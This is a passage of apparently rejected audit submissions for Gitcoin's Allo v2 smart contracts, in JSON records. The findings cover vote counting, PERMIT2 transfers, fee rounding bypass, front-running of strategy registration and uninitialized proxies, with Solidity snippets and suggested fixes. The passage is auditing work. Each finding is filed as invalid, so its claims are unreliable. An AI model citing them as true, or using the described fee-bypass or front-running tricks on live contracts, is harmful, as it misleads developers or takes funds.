(4)*:\n\n```solidity\nFile: allo-v2/contracts/core/interfaces/IAllo.sol\n\n2: pragma solidity ^0.8.19;\n\n```\n\n[2](https://github.com/sherlock-audit/2023-09-Gitcoin/tree/main/allo-v2/contracts/core/interfaces/IAllo.sol#L2)\n\n```solidity\nFile: allo-v2/contracts/core/interfaces/IRegistry.sol\n\n2: pragma solidity ^0.8.19;\n\n```\n\n[2](https://github.com/sherlock-audit/2023-09-Gitcoin/tree/main/allo-v2/contracts/core/interfaces/IRegistry.sol#L2)\n\n```solidity\nFile: allo-v2/contracts/core/interfaces/IStrategy.sol\n\n2: pragma solidity ^0.8.19;\n\n```\n\n[2](https://github.com/sherlock-audit/2023-09-Gitcoin/tree/main/allo-v2/contracts/core/interfaces/IStrategy.sol#L2)\n\n```solidity\nFile: allo-v2/contracts/strategies/BaseStrategy.sol\n\n2: pragma solidity ^0.8.19;\n\n```\n\n[2](https://github.com/sherlock-audit/2023-09-Gitcoin/tree/main/allo-v2/contracts/strategies/BaseStrategy.sol#L2)\n## Tool used\n\nManual Review\n\n## Recommendation\nTo work around this issue, use an earlier [EVM](https://docs.soliditylang.org/en/v0.8.20/using-the-compiler.html?ref=zaryabs.com#setting-the-evm-version-to-target) [version](https://book.getfoundry.sh/reference/config/solidity-compiler#evm_version)","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/279.md"}} +{"title":"If the owner changes the merkle root mid way, the old participants will get less rewards","severity":"info","body":"Obedient Basil Lizard\n\nmedium\n\n# If the owner changes the merkle root mid way, the old participants will get less rewards\nIf the owner of [DonationVotingMerkleDistributionBaseStrategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol) increases the rewards by changing the merkle root midway, the users before the change will receive fewer rewards than the users after the change.\n\n## Vulnerability Detail\nThis issue arises due to the way users are verified for reward distribution. Specifically, users are checked using a simple true/false check. Therefore, a change in the merkle root will impact only those participants to whom rewards have not yet been distributed.\n\n| *Prerequisites* | *Values* |\n|-----------------|-----------|\n| Contract funds | 20 000 DAI |\n| Users | 20 |\n| DAI per user | 1000 |\n\n1. The owner sees the funds and [sets the merkle root](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L420-L436) to distribute 1000 DAI per user.\n2. Since the users are 20, the owner splits the distribution call to 2, 10 users each call.\n3. After sending the first call, a participant / investor [funds the contract](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339-L345) with 2000 DAI -> 100 for every user\n4. Owner sees this funds and:\n- If he knows his contract well he will set the merkle root to 1200 DAI per user (2000 / 10 = 200), since he knows it's impossible to distribute to already distributed users.\n- If he doesn't know the contract that well he is gonna set the merkle root to 1100 DAI per user (2000 / 20 = 100), distribute to the other 10 users the 1100 DAI and try to distribute the other 1000 DAI to the first 10 users. However the call [would fail](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L783) ( [_validateDistribution](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L722-L724) ) and he would need to rescue the DAI from the contract.\n\nFrom this example we can see that, it doesn't matter if the merkle root is changed, as [this check](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L722-L724) is too simple and will not allow to distribute the leftover funds (100 DAI) to the users who received the smaller portion (1000 DAI instead of 1100 DAI).\n\n## Impact\nUser loss of rewards.\n\n## Code Snippet\n```solidity\n function _validateDistribution() internal view returns (bool) {\n // If the '_index' has been distributed this will return 'false'\n if (_hasBeenDistributed(_index)) {\n return false;\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nYou can make the check with amount instead of true false. For it i would recommend a mapping to be made to keep track of the distributed amounts.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/278.md"}} +{"title":"Votes Are Not Reset Between Milestones in RFPCommitteeStrategy, causing wrong vote calculation","severity":"info","body":"Little Cloth Coyote\n\nhigh\n\n# Votes Are Not Reset Between Milestones in RFPCommitteeStrategy, causing wrong vote calculation\nIn RFPCommitteeStrategy, votes are not reset after each milestone, throwing off vote calculation for next milestone.\n\n## Vulnerability Detail\nTo execute and complete the first `upcomingMilestone`, `acceptedRecipientId` must satisfy the `voteThreshold` condition. The system uses two mappings, `votes` and `votedFor`, to manage vote-related data. However, these mappings are not cleared after the completion of each milestone, leading to a situation where a vote recipient could become `acceptedRecipientId` prematurely, even if the `voteThreshold` for that specific milestone has not been met.\n```solidity\n function _allocate(bytes memory _data, address _sender) internal override onlyPoolManager(_sender) {\n if (acceptedRecipientId != address(0)) {\n revert RECIPIENT_ALREADY_ACCEPTED();\n }\n\n // Check if the allocator has already casted the vote\n address voteCastedTo = votedFor[_sender];\n if (voteCastedTo != address(0)) {\n // remove the old vote to allow recasting of vote\n votes[voteCastedTo] -= 1;\n }\n\n // Decode the '_data'\n address recipientId = abi.decode(_data, (address));\n\n // Increment the votes for the recipient\n votes[recipientId] += 1;\n // Update the votedFor mapping\n votedFor[_sender] = recipientId;\n\n // Emit the event\n emit Voted(recipientId, _sender);\n\n // Check if the recipient has reached the vote threshold\n if (votes[recipientId] == voteThreshold) {\n // Set the accepted recipient\n acceptedRecipientId = recipientId;\n\n Recipient storage recipient = _recipients[acceptedRecipientId];\n recipient.recipientStatus = Status.Accepted;\n\n // Set the pool to inactive\n _setPoolActive(false);\n\n emit Allocated(acceptedRecipientId, recipient.proposalBid, allo.getPool(poolId).token, address(0));\n }\n }\n```\nConsider the following scenario:\n\n1. A pool consists of 10 committees, and the `voteThreshold` is set to 6.\n2. There are three potential candidates for votes: Alice, Bob, and Chad.\n3. In the first milestone, Alice receives 6 votes, Bob receives 4 votes, and Chad gets 0 votes.\n4. Following the conclusion of the first milestone (at which point votes should have been reset), the committees proceeded to cast their votes for the second milestone.\n5. The first two committees who previously voted for Alice in last milestone, cast their votes for Bob, which results in Bob becoming the `acceptedRecipientId`.\n6. Bob becomes the `acceptedRecipientId` even though only 2 of 10 committees voted and `voteThreshold` of 6 has not been met.\n\nSide Note: \n`if (acceptedRecipientId != address(0))` check should be removed, as it prevents committees from voting beyond first milestone. Please refer to other issue I raised. \n\n## Impact\n`acceptedRecipientId` can potentially be selected without meeting `voteThreshold`. Any subsequent milestone votes calculation are wrong.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L102\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417\n## Tool used\n\nManual Review\n\n## Recommendation\nI recommend using nested mappings to keep track of votes for each milestone.\n```solidity\n /// @dev 'allocator' to 'recipientId'\n- mapping(address => address) public votedFor;\n /// @dev 'allocator' to 'milestone' to 'recipientId'\n+ mapping(address => mapping (uint256 => address)) public votedFor;\n\n /// @notice This maps the recipient to the number of votes they have\n /// @dev 'recipientId' to 'votes'\n- mapping(address => uint256) public votes;\n /// @dev 'recipientId' to 'milestone' to 'votes'\n+ mapping(address => mapping(uint256 => uint256)) votes;\n```\n```solidity\n function _allocate(bytes memory _data, address _sender) internal override onlyPoolManager(_sender) {\n if (acceptedRecipientId != address(0)) {\n revert RECIPIENT_ALREADY_ACCEPTED();\n }\n\n // Check if the allocator has already casted the vote\n- address voteCastedTo = votedFor[_sender];\n+ address voteCastedTo = votedFor[_sender][upcomingMilestone];\n if (voteCastedTo != address(0)) {\n // remove the old vote to allow recasting of vote\n- votes[voteCastedTo] -= 1;\n+ votes[voteCastedTo][upcomingMilestone] -= 1;\n }\n\n // Decode the '_data'\n address recipientId = abi.decode(_data, (address));\n\n // Increment the votes for the recipient\n- votes[recipientId] += 1;\n+ votes[recipientId][upcomingMilestone] += 1;\n // Update the votedFor mapping\n- votedFor[_sender] = recipientId;\n+ votedFor[_sender][upcomingMilestone] = recipientId;\n\n // Emit the event\n emit Voted(recipientId, _sender);\n\n // Check if the recipient has reached the vote threshold\n- if (votes[recipientId] == voteThreshold) {\n+ if (votes[recipientId][upcomingMilestone] == voteThreshold) {\n // Set the accepted recipient\n acceptedRecipientId = recipientId;\n\n Recipient storage recipient = _recipients[acceptedRecipientId];\n recipient.recipientStatus = Status.Accepted;\n\n // Set the pool to inactive\n _setPoolActive(false);\n\n emit Allocated(acceptedRecipientId, recipient.proposalBid, allo.getPool(poolId).token, address(0));\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/277.md"}} +{"title":"`PERMIT2.permitTransferFrom` will revert if the contract has not given allowance to itself","severity":"info","body":"Obedient Basil Lizard\n\nhigh\n\n# `PERMIT2.permitTransferFrom` will revert if the contract has not given allowance to itself\nIn [DonationVotingMerkleDistributionVaultStrategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol) under [_afterAllocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L107-L136) there is an issue with the permit transfer, since the contract tries to transfer the tokens to itself. However this transfer will revert since it uses `transferFrom` instead of `transfer` and transferFrom checks for allowance even if the caller is the owner.\n\n## Vulnerability Detail\nWhen [allocate]() is called it triggers [_allocate]() which does the checks and afterwards [_afterAllocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L107-L136) which finally assigns [the claims](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L135C9-L135C46) and transfers the tokens. However it transfers the tokens to itself, which is useless and in this case causes the function to revert. This is because `PERMIT2.permitTransferFrom`( [allow call](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L121-L132) && [PERMIT2 function](https://github.com/Uniswap/permit2/blob/576f549a7351814f112edcc42f3f8472d1712673/src/SignatureTransfer.sol#L22-L29) ) [performs a safeTransferFrom](https://github.com/Uniswap/permit2/blob/576f549a7351814f112edcc42f3f8472d1712673/src/SignatureTransfer.sol#L67) under the hood without assigning any approvals. \n```solidity\n function permitTransferFrom(\n PermitTransferFrom memory permit,\n SignatureTransferDetails calldata transferDetails,\n address owner,\n bytes calldata signature\n ) external {\n _permitTransferFrom(permit, transferDetails, owner, permit.hash(), signature);\n }\n\n function _permitTransferFrom(\n PermitTransferFrom memory permit,\n SignatureTransferDetails calldata transferDetails,\n address owner,\n bytes32 dataHash,\n bytes calldata signature\n ) private {\n uint256 requestedAmount = transferDetails.requestedAmount;\n\n if (block.timestamp > permit.deadline) revert SignatureExpired(permit.deadline);\n if (requestedAmount > permit.permitted.amount) revert InvalidAmount(permit.permitted.amount);\n\n _useUnorderedNonce(owner, permit.nonce);\n\n signature.verify(_hashTypedData(dataHash), owner);\n //@audit regular safeTransferFrom\n ERC20(permit.permitted.token).safeTransferFrom(owner, transferDetails.to, requestedAmount);\n }\n```\nHowever `safeTransferFrom` is normal `transferFrom` which checks for the return value, and [transferFrom](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol#L154-L159) as by OZ requires the owner to have the caller approved, in other words, [DonationVotingMerkleDistributionVaultStrategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol) to approve himself.\n\n## Impact\nFunction constantly reverts.\n\n## Code Snippet\n```solidity\n PERMIT2.permitTransferFrom(\n // The permit message.\n p2Data.permit,\n // The transfer recipient and amount.\n ISignatureTransfer.SignatureTransferDetails({to: address(this), requestedAmount: amount}),\n // Owner of the tokens and signer of the message.\n _sender,\n // The packed signature that was the result of signing\n // the EIP712 hash of `_permit`.\n p2Data.signature\n );\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nSince this contract is transferring tokens to himself, which is useless this whole function could be overridden and reduced to it's needed parts. Or the permit can be swapped for OZ version, since [it gives approvals](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC20Permit.sol#L66).","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/276.md"}} +{"title":"Pool Committees Unable to Allocate or Vote on Beyond First Milestone","severity":"info","body":"Little Cloth Coyote\n\nhigh\n\n# Pool Committees Unable to Allocate or Vote on Beyond First Milestone\nPool committees face a constraint where they can only allocate funds for the first upcoming milestone. After the completion of first milestone and the distribution of funds, committees are unable to allocate or vote on subsequent milestones. \n\n## Vulnerability Detail\nPool committees encounter a limitation in the `allocate()` function, which restricts their ability to allocate funds for the next `upcomingMilestone` once the first one is completed. Let's take a look at `_distribute()`, where first `upcomingMilestone` is completed and incremented.\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\nThe issue arises because the `acceptedRecipientId` state variable still reflects the last recipient and was never reset to address(0) again. The current implementation of `_allocate()` will trigger a revert when `acceptedRecipientId != address(0)`, making it impossible to process committee votes for subsequent milestones.\n```solidity\n function _allocate(bytes memory _data, address _sender) internal override onlyPoolManager(_sender) {\n if (acceptedRecipientId != address(0)) {\n revert RECIPIENT_ALREADY_ACCEPTED();\n }\n\n // Check if the allocator has already casted the vote\n address voteCastedTo = votedFor[_sender];\n if (voteCastedTo != address(0)) {\n // remove the old vote to allow recasting of vote\n votes[voteCastedTo] -= 1;\n }\n\n // Decode the '_data'\n address recipientId = abi.decode(_data, (address));\n\n // Increment the votes for the recipient\n votes[recipientId] += 1;\n // Update the votedFor mapping\n votedFor[_sender] = recipientId;\n\n // Emit the event\n emit Voted(recipientId, _sender);\n\n // Check if the recipient has reached the vote threshold\n if (votes[recipientId] == voteThreshold) {\n // Set the accepted recipient\n acceptedRecipientId = recipientId;\n\n Recipient storage recipient = _recipients[acceptedRecipientId];\n recipient.recipientStatus = Status.Accepted;\n\n // Set the pool to inactive\n _setPoolActive(false);\n\n emit Allocated(acceptedRecipientId, recipient.proposalBid, allo.getPool(poolId).token, address(0));\n }\n }\n```\n\n## Impact\nCommittees unable to allocate/vote beyond the first mile stone.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L102\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417\n## Tool used\n\nManual Review\n\n## Recommendation\nI recommend removing the if block and adding onlyActivePool modifier.\n```solidity\n- function _allocate(bytes memory _data, address _sender) internal override onlyPoolManager(_sender) {\n+ function _allocate(bytes memory _data, address _sender) internal override onlyActivePool onlyPoolManager(_sender) {\n- if (acceptedRecipientId != address(0)) {\n- revert RECIPIENT_ALREADY_ACCEPTED();\n- }\n\n // Check if the allocator has already casted the vote\n address voteCastedTo = votedFor[_sender];\n if (voteCastedTo != address(0)) {\n // remove the old vote to allow recasting of vote\n votes[voteCastedTo] -= 1;\n }\n\n // Decode the '_data'\n address recipientId = abi.decode(_data, (address));\n\n // Increment the votes for the recipient\n votes[recipientId] += 1;\n // Update the votedFor mapping\n votedFor[_sender] = recipientId;\n\n // Emit the event\n emit Voted(recipientId, _sender);\n\n // Check if the recipient has reached the vote threshold\n if (votes[recipientId] == voteThreshold) {\n // Set the accepted recipient\n acceptedRecipientId = recipientId;\n\n Recipient storage recipient = _recipients[acceptedRecipientId];\n recipient.recipientStatus = Status.Accepted;\n\n // Set the pool to inactive\n _setPoolActive(false);\n\n emit Allocated(acceptedRecipientId, recipient.proposalBid, allo.getPool(poolId).token, address(0));\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/274.md"}} +{"title":"The Allo team's fee can be bypassed","severity":"info","body":"Powerful Shadow Sloth\n\nhigh\n\n# The Allo team's fee can be bypassed\n\nThe Allo team's fee can be bypassed by forcing [`(_amount * percentFee) / getFeeDenominator();`](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L510) to always round down.\n\n## Vulnerability Detail\n\nThe attack can be done by calling `getPercentFee()` and `getFeeDenominator()` prior to creating a pool and funding it with an amount such that the division always rounds down. `fundPool()` can then repeatedly be called with small amounts such that the pool is funded with the amount that the pool creator initially intended while ensuring the division always rounds down to 0.\n\n## Impact\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nForce the division to always round up using one of Solady's division functions from `FixedPointMathLib`.\n\n```diff\n- feeAmount = (_amount * percentFee) / getFeeDenominator();\n+ feeAmount = FixedPointMathLib.mulWadUp(_amount * percentFee);\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/273.md"}} +{"title":"It is still possible for a strategy to be used as both a custom strategy and clonable strategy to create different pools.","severity":"info","body":"Fresh Indigo Platypus\n\nmedium\n\n# It is still possible for a strategy to be used as both a custom strategy and clonable strategy to create different pools.\nAllo aims to implement the logic that a strategy is used as either a custom strategy to create a pool via ``createPoolWithCustomStrategy()`` or a clonable stategy to create a pool via ``createPool()``, but not both. \n\nUnfortunately, the goal has not been achieved - it is possible for a strategy to be used as both a custom strategy and a clonable strategy to create different pools. \n\n## Vulnerability Detail\n\nConsider a strategy ``stra`` that is not yet a clonable strategy. \n\n1) Alice calls ``createPoolWithCustomStrategy()`` using ``stra`` as a custom strategy to create pool1.\n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L144-L161](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L144-L161)\n\n2) The Allo owner calls ``addToCloneableStrategies()`` to add ``stra`` as a clonable strategy.\n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L241-L246](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L241-L246)\n\n3) Bob calls ``createPool()`` and uses ``stra`` as a clonable strategy to create pool2. \n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L174-L197](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L174-L197)\n\nAs a result, the same strategy ``sta`` is used as both a custom strategy and a clonable strategy to create pool1 and pool2. A violation of the design logic. \n\n\n## Impact\nA violation of the design logic. It is possible for a strategy to be used as both a custom strategy and a clonable strategy to create different pools. \n\n## Code Snippet\n\n## Tool used\nVScode\n\nManual Review\n\n## Recommendation\nKeep track of custom strategies as well so that a custom strategy cannot be added as a clonable strategy. That is, a strategy is either custom or clonable, but not both.\n\nIn addition, one cannot remove a strategy if it has been used to create a pool to ensure it will not be changed from one categoy to another.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/271.md"}} +{"title":"Front-running Vulnerability in Strategy Registration","severity":"info","body":"Uneven Holographic Llama\n\nmedium\n\n# Front-running Vulnerability in Strategy Registration\nThe createPoolWithCustomStrategy function in the Allo.sol contract allows the creation of a pool with a custom strategy (a contract already deployed). However, it's susceptible to a front-running attack where an malicious party can intercept a genuine strategy deployment and register by creating the pool before the original deployer.\n\n## Vulnerability Detail\nAlice deploys a strategy contract with the intention of creating a pool with it.\nAlice then attempts to call createPoolWithCustomStrategy with the previously deployed strategy contract address.\nBob front-runs Alice's createPoolWithCustomStrategy transaction and calls createPoolWithCustomStrategy with Alice's strategy contract address.\nAs a result, Bob effectively \"steals\" the registration of Alice's deployed strategy, making Alice have to deploy a new contract in order to create her pool with a custom strategy.\n\n## Impact\nMalicious actors can leverage this vulnerability to hijack strategy registrations, potentially leading to misuse of genuine strategy deployments. Considering there's no way to ensure users won't transfer monetary value to the contract on it's deployment, such as in the case of fee skirting where pool manager directly fund the pool without paying the fees, hijacking a strategy contract usage can possibly locks user funds.\n\n## Code Snippet\n[createPoolWithCustomStrategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L144-L161)\n```solidity\nfunction createPoolWithCustomStrategy(\n bytes32 _profileId,\n address _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) external payable returns (uint256 poolId) {\n // Revert if the strategy address passed is the zero address with 'ZERO_ADDRESS()'\n if (_strategy == address(0)) revert ZERO_ADDRESS();\n\n // Revert if we already have this strategy in our cloneable mapping with 'IS_APPROVED_STRATEGY()' (only non-cloneable strategies can be used)\n if (_isCloneableStrategy(_strategy)) revert IS_APPROVED_STRATEGY();\n\n // Call the internal '_createPool()' function and return the pool ID\n return _createPool(_profileId, IStrategy(_strategy), _initStrategyData, _token, _amount, _metadata, _managers);\n }\n```\nNotice the function does not have any call to confirm strategy ownership, meaning anyone could register a strategy as it's own.\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAtomic Deployment and Initialization: Implement a mechanism that allows users to atomically deploy a strategy and initialize it, thus preventing front-running.\nStrategy Ownership Validation: Introduce validation checks to ensure that the caller of createPoolWithCustomStrategy is the owner or has appropriate permissions over the strategy being registered.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/269.md"}} +{"title":"No Interface Validation for Strategy Contracts in Allo.sol","severity":"info","body":"Uneven Holographic Llama\n\nmedium\n\n# No Interface Validation for Strategy Contracts in Allo.sol\nThe Allo.sol contract allows the integration of custom-made external strategy contracts. However there are no validation mechanisms to ascertain that these strategies adhere to the expected IStrategy interface, specifically the methods and behaviors defined in the BaseStrategy contract. This opens the door to potential vulnerabilities.\n\n## Vulnerability Detail\n\nFunction createPoolWithCustomStrategy: This function enables users to establish a new pool using a custom strategy, that is a Strategy that utilizes a contract made by the pool creator. At the function in question, the provided _strategy address is accepted without validating its conformity to the IStrategy interface. This allows any address, regardless of its functions and behaviors, to be set as a strategy.\n\nFunction addToCloneableStrategies: This function marks an address as a cloneable strategy. However, it also lacks validation against the IStrategy interface, posing risks, especially if multiple clones of a faulty strategy are created.\n\nFunding Pools Interactions: During the pool funding procedure, interactions with external strategy contracts occur. Without sufficient checks, this could result in reversions or other unexpected behaviors, such as loss of tokens.\n\n## Impact\n\nUnpredictable System Behavior: Utilizing strategies not adhering to the IStrategy interface can cause system errors, transaction halts, or unforeseen results.\nFunds Lockup: If a strategy does not implement the correct withdrawal or asset management methods, assets in the pool may become irrevocably locked. Pool owners and managers may be unable to retrieve or reallocate these funds, leading to financial losses.\n\n## Code Snippet\n[createPoolWithCustomStrategy function:](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L144-L161)\n```solidity\nfunction createPoolWithCustomStrategy(\n bytes32 _profileId,\n address _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) external payable returns (uint256 poolId) {\n // Revert if the strategy address passed is the zero address with 'ZERO_ADDRESS()'\n if (_strategy == address(0)) revert ZERO_ADDRESS();\n\n // Revert if we already have this strategy in our cloneable mapping with 'IS_APPROVED_STRATEGY()' (only non-cloneable strategies can be used)\n if (_isCloneableStrategy(_strategy)) revert IS_APPROVED_STRATEGY();\n\n // Call the internal '_createPool()' function and return the pool ID\n return _createPool(_profileId, IStrategy(_strategy), _initStrategyData, _token, _amount, _metadata, _managers);\n }\n```\n[addToCloneableStrategies function:](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L241-L246) \n```solidity\nfunction addToCloneableStrategies(address _strategy) external onlyOwner {\n if (_strategy == address(0)) revert ZERO_ADDRESS();\n\n cloneableStrategies[_strategy] = true;\n emit StrategyApproved(_strategy);\n }\n```\nNotice neither functions call the strategy contract to attest it's proper interface implementation.\nThis enables supposed strategies to be the target of all sort of calls related to an allocation pool: from naive calls that don't really result in anything other than reversion, to more sensitive areas located in payable calls such as:\n[_allocate:](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L492-L494)\n```solidity\nfunction _allocate(uint256 _poolId, bytes memory _data) internal {\n pools[_poolId].strategy.allocate{value: msg.value}(_data, msg.sender);\n }\n\n```\n\nAnd [_fundPool:](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520)\n```solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nPrior to strategy integration, validate its adherence to the defined interface using the standard EIP-165 supportsInterface function or specific calls to getter methods at the contract, such as getAllo().","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/266.md"}} +{"title":"For upgrading contracts, implementation contracts not been initialized","severity":"info","body":"Muscular Chili Chicken\n\nmedium\n\n# For upgrading contracts, implementation contracts not been initialized\nFor upgrading contracts, implementation contracts not been initialized\n\n## Vulnerability Detail\nAn uninitialized implementation contract can be initialized by an attacker, and the attacker gets the owner , which may impact the proxy.\n\n\n## Impact\nAn uninitialized implementation contract can be initialized by an attacker, and the attacker gets the owner , which may impact the proxy.\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.sol#L87\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Registry.sol#79\n\n## Tool used\n\nManual Review\n\n## Recommendation\nadd _disableInitializers() each upgradable contracts:\n\n```solidity\n/// @custom:oz-upgrades-unsafe-allow \nconstructor constructor() { \n _disableInitializers(); \n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/265.md"}} +{"title":"Loss of precision can result in tokens being permanently stuck in the contract","severity":"info","body":"Original Navy Donkey\n\nhigh\n\n# Loss of precision can result in tokens being permanently stuck in the contract\nDue to 